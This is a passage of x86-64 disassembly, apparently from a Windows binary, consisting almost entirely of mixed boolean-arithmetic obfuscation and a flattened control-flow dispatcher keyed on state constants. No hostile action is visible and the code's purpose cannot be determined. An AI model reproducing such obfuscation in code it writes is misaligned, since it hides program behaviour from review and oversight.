xor r15d, edx
or r15d, ecx
mov ecx, r15d
not ecx
and ecx, 0x66f77656
and r15d, 0x990889a9
or r15d, ecx
mov ebp, r13d
not ebp
mov ecx, r13d
mov r14d, r13d
mov edx, ebp
and edx, 0x9dfe55c
and r13d, 0xf6201aa3
or r13d, edx
xor r13d, 0xae454f18
or r13d, ebp
and ebp, 0x6c84000
and ecx, 0x2801102d
or ecx, ebp
xor ecx, 0x2801102d
and r14d, 0xd136afd2
or r14d, ecx
mov ecx, r14d
not ecx
and ecx, 0xb7f86e4e
and r14d, 0x480791b1
or r14d, ecx
mov r12d, r14d
xor r12d, 0x66cec19c
mov r11d, r15d
not r11d
mov ecx, r15d
and ecx, 0xf9aa5140
mov edx, r11d
and edx, 0x655aebf
or edx, ecx
xor edx, 0x5e30fb04
mov esi, r11d
and esi, 0xa79aaa44
or esi, edx
mov ecx, esi
not ecx
and r9d, 0x216f2871
mov ebx, r10d
and ebx, 0xde90d78e
or ebx, r9d
xor ebx, 0x790a7dca
and r10d, 0x586555bb
or r10d, ebx
mov ebx, r10d
not ebx
xor r14d, 0x99313e63
mov r9d, r14d
and r9d, 0x90846948
mov ebp, r12d
and ebp, 0x6f7b96b7
or ebp, r9d
mov edi, ebp
xor edi, 0x271a8204
and edi, 0xa79aaa44
xor ebp, 0xc8e13cf3
or ebp, edi
mov r9d, ebp
not r9d
mov edx, ecx
xor edx, r10d
and edx, ecx
and esi, 0x6d6b7c8d
and ecx, 0x92948372
or ecx, esi
mov esi, r13d
not esi
and r10d, 0x6d6b7c8d
and ebx, 0x92948372
or ebx, r10d
xor ebx, ecx
mov ecx, edx
not ecx
mov edi, ecx
and edi, 0x486be939
and edx, 0xb79416c6
or edx, edi
mov edi, ebx
not edi
or ecx, edi
and edi, 0x486be939
and ebx, 0xb79416c6
or ebx, edi
xor ebx, edx
not ecx
or ecx, ebx
and esi, ebp
or ebp, r13d
mov edx, ebp
not edx
and r13d, r9d
or r13d, esi
mov ebx, r13d
not ebx
mov edi, ebp
and edi, 0xcdc2f7a
and edx, 0xf323d085
or edx, edi
or ebp, ebx
and ebx, 0xcdc2f7a
and r13d, 0xf323d085
or r13d, ebx
xor r13d, edx
not ebp
or ebp, r13d
mov edi, ecx
not edi
mov edx, edi
and edx, 0xe283bcb2
and ecx, 0x1d7c434d
or ecx, edx
or edi, ebp
not ebp
xor ecx, 0xe283bcb2
or ecx, ebp
not ecx
not edi
mov edx, ecx
and edx, edi
xor edi, ecx
or edi, edx
mov ecx, r11d
or ecx, r14d
not ecx
and r11d, 0x52415628
and r15d, 0xadbea9d7
or r15d, r11d
and r14d, 0x52415628
and r12d, 0xadbea9d7
or r12d, r14d
xor r12d, r15d
mov edx, ecx
and edx, r12d
xor r12d, ecx
or r12d, edx
mov ecx, r12d
not ecx
and ecx, 0x1a3c59e2
and r12d, 0xe5c3a61d
or r12d, ecx
mov edx, r12d
xor edx, 0x65012400
xor r12d, 0x1a3c59e2
mov ecx, r12d
and ecx, 0x8acac23d
and edx, 0x75353dc2
or edx, ecx
xor edx, 0x75353dc2
or edx, r12d
mov r10d, edi
not r10d
mov ecx, r10d
and ecx, 0xfdc10200
and edi, 0x23efdff
or edi, ecx
mov r14d, edi
xor r14d, 0x23efdff
xor edi, 0xec5de73f
and edi, r14d
mov r9d, edx
mov r11d, r14d
and r11d, edx
xor r14d, edx
not edx
or r10d, 0x119ce53f
mov ebp, r10d
not ebp
and r9d, 0x119ce53f
and edx, 0xee631ac0
or edx, r9d
mov ebx, edi
not ebx
mov ecx, ebx
and ecx, 0xff7e4e00
and edi, 0x81b1ff
or edi, ecx
or ebx, r10d
and r10d, 0xff7e4e00
and ebp, 0x110c0
or ebp, r10d
xor ebp, edi
not ebx
or ebx, ebp
mov ecx, ebx
not ecx
and ecx, edx
not edx
and edx, ebx
or edx, ecx
or r14d, r11d
not r14d
mov ecx, edx
and ecx, r14d
xor r14d, edx
or r14d, ecx
mov r9d, r14d
not r9d
mov edi, r14d
mov r11d, r9d
and r11d, r14d
mov r15d, r14d
xor r15d, 0x8e58fa47
and r15d, r14d
mov r12d, r14d
mov r10d, r9d
mov ecx, r9d
and ecx, 0xfffffffe
and r14d, 1
or r14d, ecx
not r14d
or r14d, r9d
and r9d, 0xa7ffd5ac
and edi, 0x58002a53
or edi, r9d
mov ecx, edi
xor ecx, 0x50002013
xor edi, 0xa7ffd5ac
mov ebp, r11d
not ebp
mov esi, edi
and esi, 0xa998bc4
and ecx, 0xf566743b
or ecx, esi
or edi, ebp
and ebp, 0xa998bc4
and r11d, 0xf566743b
or r11d, ebp
xor r11d, ecx
not edi
or edi, r11d
mov ecx, edi
not ecx
mov ebp, edi
and ebp, 1
and ecx, 0x79fabb1c
and edi, 0x860544e3
or edi, ecx
xor edi, 0x79fabb1d
mov ecx, ebp
and ecx, edi
xor edi, ebp
or edi, ecx
mov ecx, edi
not ecx
mov ebp, ecx
and ebp, 0x483c47c3
and ecx, edi
and edi, 0xb7c3b83c
or edi, ebp
mov esi, edi
xor esi, 0x94c0903c
xor edi, 0x483c47c3
mov ebp, ecx
not ebp
mov ebx, edi
and ebx, 0x23136982
and esi, 0xdcec967d
or esi, ebx
or edi, ebp
and ebp, 0x23136982
and ecx, 0xdcec967d
or ecx, ebp
xor ecx, esi
not edi
or edi, ecx
mov ebp, edi
not ebp
mov ecx, ebp
and ecx, 0x8ba46788
and edi, 0x745b9877
or edi, ecx
xor edi, 0x8ba46788
xor ebp, edi
and ebp, edi
or r12d, 0x71a705b8
mov ecx, r15d
not ecx
mov edx, r12d
and edx, 0xef68ddfd
and r10d, 0x102202
or r10d, edx
or r12d, ecx
and ecx, 0xef68ddfd
and r15d, 0x10972202
or r15d, ecx
xor r15d, r10d
not r12d
or r12d, r15d
mov ecx, r12d
not ecx
and ecx, 0x71a705b8
and r12d, 0x8e58fa47
or r12d, ecx
mov ecx, r12d
not ecx
and r12d, 0xca93a18c
mov edx, ecx
and edx, 0x356c5e73
or edx, r12d
xor edx, 0xca93a18d
and ecx, 1
or ecx, edx
mov edx, ecx
not edx
and edx, 0xe9f5d8a0
and ecx, 0x160a275f
or ecx, edx
mov edx, ecx
xor edx, 0x160a275f
mov ebx, r14d
not ebx
xor ecx, 0xe9f5d8a0
and ebx, ecx
or ecx, r14d
not ecx
and r14d, edx
or r14d, ebx
mov edx, ecx
and edx, r14d
xor r14d, ecx
or r14d, edx
mov ecx, r14d
not ecx
and ecx, 0x346acb4c
mov edx, r14d
and edx, 0xcb9534b3
or edx, ecx
mov ecx, edx
xor ecx, 0xcb9534b3
xor edx, 0x346acb4c
and edx, ebp
not ebp
and ecx, ebp
or edx, ecx
not edx
or edx, ebp
mov ecx, edx
not ecx
mov ebx, ebp
xor ebx, r14d
not ebx
and ebx, r14d
or ebp, r14d
not ebp
mov edi, ebx
and edi, ebp
xor ebp, ebx
or ebp, edi
mov ebx, ebp
not ebx
mov r11d, edx
or r11d, ebx
mov edi, r11d
not edi
and edx, 0xaa105e4b
and ecx, 0x55efa1b4
or ecx, edx
and ebx, 0xaa105e4b
and ebp, 0x55efa1b4
or ebp, ebx
xor ebp, ecx
mov ecx, ebp
not ecx
mov edx, r11d
and edx, 0x4baced7d
and edi, 0xb4531282
or edi, edx
or r11d, ecx
and ecx, 0x4baced7d
and ebp, 0xb4531282
or ebp, ecx
xor ebp, edi
not r11d
or r11d, ebp
mov r10d, r11d
not r10d
mov ecx, r10d
and ecx, 0x629477cf
mov edx, r11d
and edx, 0x9d6b8830
or edx, ecx
mov edi, edx
xor edi, 0x104a8020
xor edx, 0x62105581
and edx, 0xef315d91
and edi, 0x10cea26e
or edi, edx
mov esi, edi
xor esi, 0xef315d91
mov r9d, edi
xor r9d, 0x10cea26e
mov edx, r11d
and edx, 0xff0c5c36
mov ebp, r10d
and ebp, 0xf3a3c9
or ebp, edx
xor ebp, 0xf3a3c9
or ebp, r10d
mov r14d, ebp
not r14d
mov r15d, r9d
and r15d, 0x39da5afb
xor edi, 0xd6eb076a
and edi, esi
mov ebx, ebp
xor ebx, 0xc625a504
mov edx, ebx
and edx, ebp
and ebx, r14d
mov ecx, r15d
and ecx, edi
xor edi, r15d
or edi, ecx
mov ecx, edx
and ecx, ebx
xor ebx, edx
or ebx, ecx
mov edx, edi
not edx
and edx, 0x621b9b16
and edi, 0x9de464e9
or edi, edx
mov edx, ebx
not edx
and edx, 0x621b9b16
and ebx, 0x9de464e9
or ebx, edx
xor ebx, edi
mov edx, esi
and edx, 0xf9511159
and r9d, 0x6aeeea6
or r9d, edx
or esi, r14d
and r14d, 0xf9511159
and ebp, 0x6aeeea6
or ebp, r14d
xor ebp, r9d
not esi
or esi, ebp
mov edx, esi
not edx
and edx, 0x42fdd3e5
and esi, 0xbd022c1a
or esi, edx
mov ecx, esi
xor ecx, 0x2c020c18
xor esi, 0x42fdd3e5
mov edx, ebx
not edx
mov ebp, edx
and ebp, 0x9110b0a7
and ebx, 0x6eef4f58
or ebx, ebp
or edx, esi
and esi, 0x9110b0a7
and ecx, 0x6eef4f58
or ecx, esi
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xd6eb0297
and edx, 0x2914fd68
or edx, ecx
mov ecx, edx
xor ecx, 0x2914fd68
xor edx, 0xd6e10095
and edx, 0xf7f555b5
mov esi, ecx
and esi, 0x80aaa4a
or esi, edx
mov edx, esi
xor edx, 0x80aaa4a
mov ebp, edx
and ebp, 0xcd306b82
and ecx, 0x32cf947d
or ecx, ebp
mov ebp, ecx
and ebp, 0x5b52e0bf
not ecx
and ecx, 0xa4ad1f40
or ecx, ebp
and edx, 0x96628b3d
xor esi, 0x9e682177
or esi, edx
not esi
mov edx, ecx
and edx, esi
xor esi, ecx
or esi, edx
mov ecx, esi
not ecx
and ecx, 0xfab07533
and esi, 0x54f8acc
or esi, ecx
mov r9d, esi
xor r9d, 0xfab07533
mov edi, esi
xor edi, 0x54f8acc
mov ecx, r10d
and ecx, 0xb9eb5d6
mov edx, r11d
and edx, 0xf4614a29
or edx, ecx
mov ecx, edx
xor ecx, 0xc0004000
xor edx, 0xa080080
mov ebp, r10d
or ebp, 0xfb1dc394
mov ebx, ebp
not ebx
or edx, 0xe2344a
and edx, 0x3aeb36ca
and ecx, 0xc114c114
or ecx, edx
and ebp, 0x3aeb36ca
and ebx, 0x4000821
or ebx, ebp
xor ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0xbdbb2918
and ebx, 0x4244d6e7
or ebx, ecx
mov ecx, ebx
xor ecx, 0xc42121
and r10d, 0x6cb0e2d0
and r11d, 0x934f1d2f
or r11d, r10d
mov edx, r11d
xor edx, 0x34d0d2b
xor ebx, 0x2f3b9e4e
mov ebp, ebx
and ebp, 0xf02250d4
and ecx, 0xfddaf2b
or ecx, ebp
xor r11d, 0x602040d0
and r11d, 0xf02250d4
and edx, 0xfddaf2b
or edx, r11d
xor edx, ecx
xor ebx, edx
and ebx, edx
mov r14d, edi
or r14d, 0x2dc22188
mov ecx, r14d
not ecx
xor esi, 0xd77254bb
and esi, edi
mov edx, esi
not edx
mov ebp, r14d
and ebp, 0x14d9f572
and ecx, 0xc2240a05
or ecx, ebp
or r14d, edx
and edx, 0x14d9f572
and esi, 0xeb260a8d
or esi, edx
xor esi, ecx
not r14d
or r14d, esi
mov ecx, r14d
not ecx
and ecx, 0xf6246c14
and r14d, 0x9db93eb
or r14d, ecx
mov r10d, r14d
xor r10d, 0xdbe64d9c
mov r12d, ebx
not r12d
mov r13d, ebx
or r13d, 0x3472f9e0
mov ecx, r13d
not ecx
mov edx, ebx
xor edx, 0xcb8d061f
and edx, ebx
mov ebp, edx
not ebp
mov esi, r13d
and esi, 0x7cf3c69d
and ecx, 0x830c0002
or ecx, esi
or r13d, ebp
and ebp, 0x7cf3c69d
and edx, 0x830c3962
or edx, ebp
xor edx, ecx
not r13d
or r13d, edx
mov ecx, r13d
not ecx
and ecx, 0xc76704f3
and r13d, 0x3898fb0c
or r13d, ecx
mov r11d, r13d
xor r11d, 0xf315fd13
xor r14d, 0x2419b263
mov ecx, r10d
and ecx, 0x641f417
mov edx, r14d
and edx, 0xf9be0be8
or edx, ecx
xor edx, 0xde217bac
mov ecx, r14d
and ecx, 0xd8608fbb
or ecx, edx
mov edx, ecx
not edx
and edx, 0x49c5221d
and ecx, 0xb63adde2
or ecx, edx
mov r15d, ecx
xor r15d, 0xb63adde2
xor ecx, 0x49c5221d
mov edx, r9d
and edx, 0x279f7044
and edi, 0xd8608fbb
or edi, edx
xor r9d, edi
and r9d, edi
xor r13d, 0xcea02ec
mov edx, r13d
and edx, 0x470e427
mov ebp, r11d
and ebp, 0xfb8f1bd8
or ebp, edx
mov edx, ebp
xor edx, 0xd8000b98
and edx, 0xd8608fbb
xor ebp, 0x23ef9463
or ebp, edx
mov edx, ebp
not edx
and edx, 0x67a07c27
and ebp, 0x985f83d8
or ebp, edx
mov edx, ebp
xor edx, 0x5d03c8
xor ebp, 0x67a07c27
mov esi, r12d
and esi, 0x279f7044
and ebx, 0xd8608fbb
or ebx, esi
xor r12d, ebx
and r12d, ebx
mov edi, r9d
not edi
mov esi, r15d
xor esi, edi
and esi, r15d
and r9d, ecx
and edi, r15d
or edi, r9d
mov ecx, esi
and ecx, edi
xor edi, esi
or edi, ecx
mov ecx, r12d
not ecx
mov ebx, ebp
or ebx, ecx
not ebx
and ebp, 0xff02e832
and edx, 0xfd17cd
or edx, ebp
and ecx, 0xff02e832
and r12d, 0xfd17cd
or r12d, ecx
xor r12d, edx
mov ecx, ebx
and ecx, r12d
xor r12d, ebx
or r12d, ecx
mov edx, edi
not edx
mov ebp, edx
or ebp, 0x7cb6859a
mov ecx, ebp
not ecx
mov ebx, r12d
not ebx
and ebx, 0x7cb6859a
and r12d, 0x83497a65
or r12d, ebx
or edi, 0x1006044
and edi, 0x15b4e0c6
and edx, 0x68020518
or edx, edi
and ebp, 0x15b4e0c6
and ecx, 0x82491a21
or ecx, ebp
xor ecx, edx
mov edx, ecx
not edx
and edx, 0x3479377c
and ecx, 0xcb86c883
or ecx, edx
mov edx, r12d
not edx
and edx, 0x3479377c
and r12d, 0xcb86c883
or r12d, edx
xor r12d, ecx
and r14d, 0x2d616062
mov ebx, r10d
and ebx, 0xd29e9f9d
or ebx, r14d
mov r9d, ebx
xor r9d, 0xd29e9f9d
mov ecx, r13d
and ecx, 0x7d3e5021
and r11d, 0x82c1afde
or r11d, ecx
mov r14d, r11d
xor r14d, 0x82c1afde
mov edx, ebx
xor edx, 0xe822820
and edx, r9d
and r10d, 0xdc1cb7bd
mov ecx, r11d
xor ecx, 0x5edd1863
and ecx, r14d
or r13d, 0x23e34842
mov edi, r13d
not edi
mov ebp, edx
and ebp, r10d
xor r10d, edx
or r10d, ebp
mov esi, ecx
not esi
mov edx, esi
and edx, 0x1c639212
and ecx, 0xe39c6ded
or ecx, edx
or esi, r13d
and r13d, 0x1c639212
and edi, 0xc01c25ad
or edi, r13d
xor edi, ecx
not esi
or esi, edi
mov edx, r10d
not edx
and edx, esi
not esi
and esi, r10d
or esi, edx
xor ebx, 0x2d616062
xor r11d, 0x7d3e5021
mov edx, ebx
and edx, 0x81241c58
and r9d, 0x7edbe3a7
or r9d, edx
or ebx, r11d
and r11d, 0x81241c58
and r14d, 0x7edbe3a7
or r14d, r11d
xor r14d, r9d
not ebx
or ebx, r14d
mov ecx, ebx
not ecx
and ecx, 0x54f9cfcf
and ebx, 0xab063030
or ebx, ecx
mov edx, ebx
xor edx, 0xaa060000
mov ebp, esi
not ebp
xor ebx, 0x54f9cfcf
mov edi, ebp
and edi, 0x1178f931
and esi, 0xee8706ce
or esi, edi
or ebp, ebx
and ebx, 0x1178f931
and edx, 0xee8706ce
or edx, ebx
xor edx, esi
not ebp
or ebp, edx
mov ecx, ebp
mov edx, ebp
xor edx, 0xf612f633
and edx, ebp
not ebp
and ebp, 0xe4124422
and ecx, 0x1200b211
or ecx, ebp
xor ecx, 0x1200b211
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x9ed09cc
and edx, 0xf612f633
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x81190bf0
and edx, 0x7ee6f40f
or edx, ecx
mov ebp, edx
xor ebp, 0x1e82e400
xor edx, 0x1000280
and edx, 0x6164128f
and ebp, 0x9e9bed70
or ebp, edx
mov edx, ebp
xor edx, 0x936d60
xor ebp, 0x6164128f
mov ecx, r12d
xor ecx, ebp
and ecx, r12d
mov ebx, r12d
not ebx
and ebx, 0xbe6c8014
and r12d, 0x41937feb
or r12d, ebx
and ebp, 0xbe6c8014
and edx, 0x41937feb
or edx, ebp
xor edx, r12d
mov ebp, ecx
not ebp
mov ebx, edx
not ebx
mov edi, ebp
and edi, 0x1df81d53
and ecx, 0xe207e2ac
or ecx, edi
or ebp, ebx
and ebx, 0x1df81d53
and edx, 0xe207e2ac
or edx, ebx
xor edx, ecx
not ebp
or ebp, edx
mov edi, ebp
not edi
mov ebx, edi
and ebx, 0xb9b880e9
mov ecx, ebp
and ecx, 0x46477f16
or ecx, ebx
mov ebx, ecx
xor ebx, 0x4064a00
xor ecx, 0xb9b880e9
mov edx, edi
and edx, ebp
mov esi, edx
not esi
mov r9d, ecx
and r9d, 0xe351b55f
and ebx, 0x1cae4aa0
or ebx, r9d
or ecx, esi
and esi, 0xe351b55f
and edx, 0x1cae4aa0
or edx, esi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x96628b3d
and ecx, 0x699d74c2
or ecx, edx
mov ebx, ecx
xor ebx, 0x96628b3d
and ebx, ecx
and ebp, 0xf7815467
mov ecx, edi
and ecx, 0x87eab98
or ecx, ebp
xor ecx, 0x9e1c20a5
and edi, 0x699d74c2
or edi, ecx
mov esi, edi
not esi
mov edx, ebx
not edx
mov ebp, edx
or ebp, edi
not ebp
and edx, 0x6796f0fc
and ebx, 0x98690f03
or ebx, edx
and edi, 0x6796f0fc
and esi, 0x98690f03
or esi, edi
xor esi, ebx
mov edx, ebp
and edx, esi
xor esi, ebp
or esi, edx
mov r9d, esi
not r9d
mov edx, r9d
and edx, 0xc5cdc12a
mov ecx, esi
xor ecx, 0xc5cdc12a
and ecx, esi
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x3a323ed5
and ecx, 0xc5cdc12a
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xbedc3444
mov edi, edx
and edi, 0x4123cbbb
or edi, ecx
xor edi, 0x4123cbbb
or edi, edx
mov ecx, edi
not ecx
and ecx, 0xbaf85ecd
and edi, 0x4507a132
or edi, ecx
mov r11d, edi
xor r11d, 0x4507a132
xor edi, 0x1a205cc8
mov edx, esi
and edx, 0x38b8896c
mov ebp, r9d
and ebp, 0xc7477693
or ebp, edx
mov edx, ebp
xor edx, 0x10080828
xor ebp, 0x410202
and ebp, 0x28f18346
and edx, 0xd70e7cb9
or edx, ebp
mov r10d, edx
xor r10d, 0xd70e7cb9
mov ebp, edx
xor ebp, 0x140
and edi, 0x5e235cca
mov ebx, r11d
and ebx, 0xa1dca335
or ebx, edi
xor ebx, 0xa1dca335
and ebp, 0xd4001141
xor edx, 0xc4744f5c
and edx, r10d
mov edi, r10d
and edi, 0x2bffeebe
or edi, ebp
xor edi, 0x2bffeebe
mov r10d, edi
mov ecx, ebx
and ecx, edi
xor edi, ebx
and ebx, 0x137a33e5
and r11d, 0xec85cc1a
or r11d, ebx
and r10d, 0x137a33e5
mov ebp, r10d
and ebp, edx
xor edx, r10d
or edx, ebp
mov ebp, r11d
not ebp
and ebp, edx
not edx
and edx, r11d
or edx, ebp
or edi, ecx
mov ecx, edi
not ecx
mov ebx, edx
not ebx
mov ebp, ebx
and ebp, 0x8fcb3af3
and edx, 0x7034c50c
or edx, ebp
or ebx, edi
and edi, 0x8fcb3af3
and ecx, 0x7034c50c
or ecx, edi
xor ecx, edx
not ebx
or ebx, ecx
and r9d, 0xd5fc1d11
and esi, 0x2a03e2ee
or esi, r9d
mov edx, esi
xor edx, 0xa014086
xor esi, 0xc1a81111
and esi, 0xe1aab379
and edx, 0x1e554c86
or edx, esi
xor edx, 0xe1aab379
not ebx
mov ecx, ebx
xor ecx, edx
not ecx
and ecx, edx
or edx, ebx
not edx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0xd01c8c87
and edx, 0x2fe37378
or edx, ecx
xor edx, 0x2fe37378
mov ecx, edx
and ecx, ebx
xor edx, ebx
or edx, ecx
cmp edx, 0xffffffff
sete r10b
setne dil
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg sil
mov ebx, edi
xor bl, sil
mov edx, ebx
and dl, dil
mov ecx, ebx
and cl, sil
mov r8d, edx
xor r8b, 1
xor dl, cl
xor cl, 1
or cl, r8b
xor cl, 1
or cl, dl
mov edx, r10d
xor dl, r9b
mov r8d, esi
and r8b, dil
or bl, r8b
xor bl, 1
mov r11d, edx
and r11b, bl
xor bl, dl
or bl, r11b
mov edx, ebx
xor dl, 1
and bl, dl
mov r11d, edx
and r11b, bl
xor bl, dl
or bl, r11b
mov edx, ecx
xor dl, 1
xor cl, bl
xor bl, 1
or bl, dl
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, cl
or bl, dl
mov ecx, ebx
xor cl, 1
and bl, cl
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov r11d, ebx
xor r11b, 1
mov ebp, r10d
or bpl, sil
mov edx, r9d
and dl, r10b
or dl, r8b
mov ecx, ebp
xor cl, dl
xor dl, 1
xor cl, 1
or dl, bpl
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov r8d, edx
xor r8b, cl
or cl, dl
xor cl, 1
or cl, r8b
mov ebp, ecx
xor bpl, 1
and r10b, sil
and dil, r9b
or dil, r10b
mov r8d, edi
xor r8b, 1
and sil, r8b
and dil, r9b
or dil, sil
xor dil, 1
or dil, r8b
mov esi, edi
xor sil, 1
and dil, bpl
mov edx, ecx
and dl, sil
or dl, dil
mov r8d, edx
xor r8b, bpl
and r8b, dl
xor bpl, sil
xor bpl, 1
and bpl, sil
xor sil, cl
and sil, cl
mov ecx, ebp
xor cl, 1
xor bpl, sil
xor sil, 1
or sil, cl
xor sil, 1
or sil, bpl
xor r8b, 1
xor sil, 1
mov ecx, r8d
or cl, sil
xor sil, r8b
mov edx, ecx
xor dl, sil
xor sil, 1
xor dl, 1
or sil, cl
xor sil, 1
or sil, dl
mov ecx, r11d
or cl, bl
xor cl, r11b
mov r10d, ecx
and r10b, r11b
mov edx, ecx
xor dl, r10b
xor r10b, 1
xor dl, 1
or r10b, cl
xor r10b, 1
or r10b, dl
mov r8d, esi
xor r8b, 1
mov r9d, r10d
xor r9b, 1
and bl, r11b
mov ecx, r11d
and cl, bl
xor bl, r11b
or bl, cl
mov r11d, ebx
xor r11b, 1
mov edx, r11d
and dl, bl
mov ecx, r11d
and cl, dl
xor dl, r11b
or dl, cl
mov ecx, edx
xor cl, 1
xor dl, bl
or cl, r11b
xor cl, 1
or cl, dl
mov r15d, ecx
xor r15b, 1
mov r11d, esi
or r11b, r8b
xor r11b, 1
or r11b, sil
mov edi, r11d
xor dil, 1
mov edx, r15d
or dl, cl
mov ebp, edx
xor bpl, 1
xor cl, r15b
and cl, r15b
mov r14d, r10d
and r14b, r9b
mov ebx, r14d
xor bl, 1
xor r14b, r10b
or bl, r9b
xor bl, 1
or bl, r14b
mov r14d, r9d
or r14b, r10b
xor r14b, 1
mov r12d, ebx
and r12b, r14b
xor r14b, bl
or r14b, r12b
mov r12d, ecx
xor r12b, 1
and dl, bpl
xor dl, 1
mov ebx, ebp
xor bl, dl
or dl, bpl
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
and bl, r12b
and dl, cl
or dl, bl
mov ebx, ebp
xor bl, cl
or cl, bpl
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, dl
xor dl, 1
xor bl, 1
or dl, cl
xor dl, 1
or dl, bl
xor dl, r14b
xor r15b, r9b
mov ecx, r15d
and cl, r9b
xor r15b, 1
mov ebx, ecx
and bl, r15b
xor r15b, cl
or r15b, bl
mov ecx, r15d
xor cl, 1
and r15b, cl
mov ebx, ecx
and bl, r15b
xor r15b, cl
or r15b, bl
mov ebp, r15d
xor bpl, 1
and bpl, r15b
xor bpl, 1
mov ecx, r15d
xor cl, bpl
or bpl, r15b
xor bpl, 1
or bpl, cl
mov ecx, ebp
and cl, dl
mov ebx, edx
xor bl, r15b
or r15b, dl
xor dl, 1
xor bpl, 1
and bpl, dl
or bpl, cl
xor r15b, 1
or r15b, bl
mov ecx, r15d
xor cl, bpl
xor bpl, 1
xor cl, 1
or bpl, r15b
xor bpl, 1
or bpl, cl
mov edx, r11d
and dl, dil
xor dl, 1
mov ecx, edi
xor cl, dl
or dl, dil
xor dl, 1
or dl, cl
mov r14d, edx
xor r14b, 1
or dil, r11b
mov ecx, r14d
or cl, dil
xor cl, 1
xor dil, r14b
mov r11d, ecx
and r11b, dil
xor dil, cl
or dil, r11b
mov ebx, edx
and bl, r14b
mov ecx, ebx
xor cl, 1
xor bl, dl
or cl, r14b
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, r14b
or cl, r14b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and dl, dil
xor dil, 1
mov ebx, edi
xor bl, cl
and bl, dil
and cl, dil
or cl, dl
mov edx, ebx
xor dl, 1
xor bl, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
mov ebx, ebp
xor bl, 1
mov r11d, ebx
or r11b, bpl
mov r15d, r11d
xor r15b, 1
mov r14d, ecx
xor r14b, 1
mov r12d, ecx
or r12b, r14b
mov edi, r12d
xor dil, 1
and bl, bpl
mov edx, r15d
and dl, r11b
xor bl, 1
mov r13d, ebx
xor r13b, bpl
or bl, bpl
xor bl, 1
or bl, r13b
mov r13d, edx
and r13b, r15b
xor dl, r15b
or dl, r13b
xor dl, bl
mov ebx, ebp
and bl, r11b
xor r11b, bpl
or r11b, bl
xor r11b, 1
mov ebx, edx
and bl, r11b
xor r11b, dl
or r11b, bl
and r14b, cl
mov edx, ecx
and dl, r14b
xor r14b, cl
or r14b, dl
mov edx, r14d
xor dl, 1
and dl, r12b
and r14b, dil
or r14b, dl
mov edx, ecx
and dl, r12b
xor r12b, cl
or r12b, dl
xor r12b, 1
mov ecx, r14d
and cl, r12b
xor r12b, r14b
or r12b, cl
xor r11b, 1
mov ecx, r11d
xor cl, r12b
xor cl, 1
and cl, r12b
or r11b, r12b
xor r11b, 1
mov edx, ecx
and dl, r11b
xor r11b, cl
or r11b, dl
mov ecx, r8d
and cl, sil
mov edx, ecx
xor dl, 1
xor cl, r8b
or dl, sil
xor dl, 1
or dl, cl
xor dl, r10b
xor r10b, sil
xor r9b, r10b
and r9b, r10b
mov ecx, edx
xor cl, 1
xor dl, r9b
xor r9b, 1
or r9b, cl
xor r9b, 1
mov ecx, r9d
and cl, dl
xor dl, r9b
or dl, cl
mov ebx, edx
xor bl, 1
mov ecx, ebx
and cl, dl
xor cl, 1
mov r8d, edx
xor r8b, cl
or cl, dl
xor cl, 1
or cl, r8b
or bl, dl
mov r8d, ebx
mov edx, ecx
xor dl, bl
and dl, cl
and bl, cl
xor cl, 1
xor r8b, 1
and r8b, cl
or bl, r8b
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov r8d, ebx
xor r8b, 1
mov r9d, r11d
xor r9b, 1
mov r12d, ebx
or r12b, r8b
mov edx, r12d
xor dl, 1
mov r10d, r9d
and r10b, r11b
mov esi, ebx
and sil, r8b
and dl, r12b
mov edi, ebx
and dil, sil
xor sil, bl
mov ebp, r12d
and bpl, dl
xor dl, r12b
mov r14d, ebx
and r14b, r12b
xor r12b, bl
xor r8b, r11b
mov r15d, r11d
and r15b, bl
xor bl, r11b
or r11b, r9b
mov ecx, r11d
xor cl, 1
and r11b, cl
mov r13d, r10d
and r13b, r9b
xor r10b, r9b
or r10b, r13b
mov r13d, r11d
and r13b, cl
xor r11b, cl
or r11b, r13b
xor r11b, r10b
mov r10d, r9d
xor r10b, cl
or cl, r9b
xor cl, 1
or cl, r10b
xor r11b, 1
mov r9d, r11d
xor r9b, cl
or r11b, cl
xor r11b, 1
or r11b, r9b
or sil, dil
or dl, bpl
xor dl, sil
or r12b, r14b
xor dl, 1
mov ecx, edx
xor cl, r12b
or dl, r12b
xor dl, 1
or dl, cl
xor dl, 1
mov ecx, edx
or cl, r11b
xor dl, r11b
xor dl, 1
and dl, r11b
xor dl, 1
mov r9d, ecx
xor r9b, dl
or dl, cl
xor dl, 1
or dl, r9b
or bl, r15b
mov ecx, r8d
xor cl, bl
or bl, r8b
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, 1
and cl, bl
xor cl, 1
mov r8d, ebx
xor r8b, cl
or cl, bl
xor cl, 1
or cl, r8b
mov r9d, ecx
xor r9b, 1
mov r8d, ecx
mov ebx, edx
or cl, dl
xor dl, 1
and r8b, dl
and bl, r9b
or bl, r8b
xor dl, r9b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, bl
test dl, 1
mov edx, 0xf3dd6bde
mov ebp, 0xb7ca3e4
cmovne edx, ebp
test cl, 1
mov ecx, 0xf3dd6bde
cmovne ecx, edx
mov dword [rsp + 0x50], eax
test bl, 1
cmove ecx, edx
jmp 0x140053140
cmp eax, 0x1a167fec
je 0x14006262d
mov ecx, eax
cmp eax, 0x286d38ed
jne 0x140053140
mov eax, dword [rsp + 0x5c]
mov ecx, 0x7eccbfe2
jmp 0x140053140
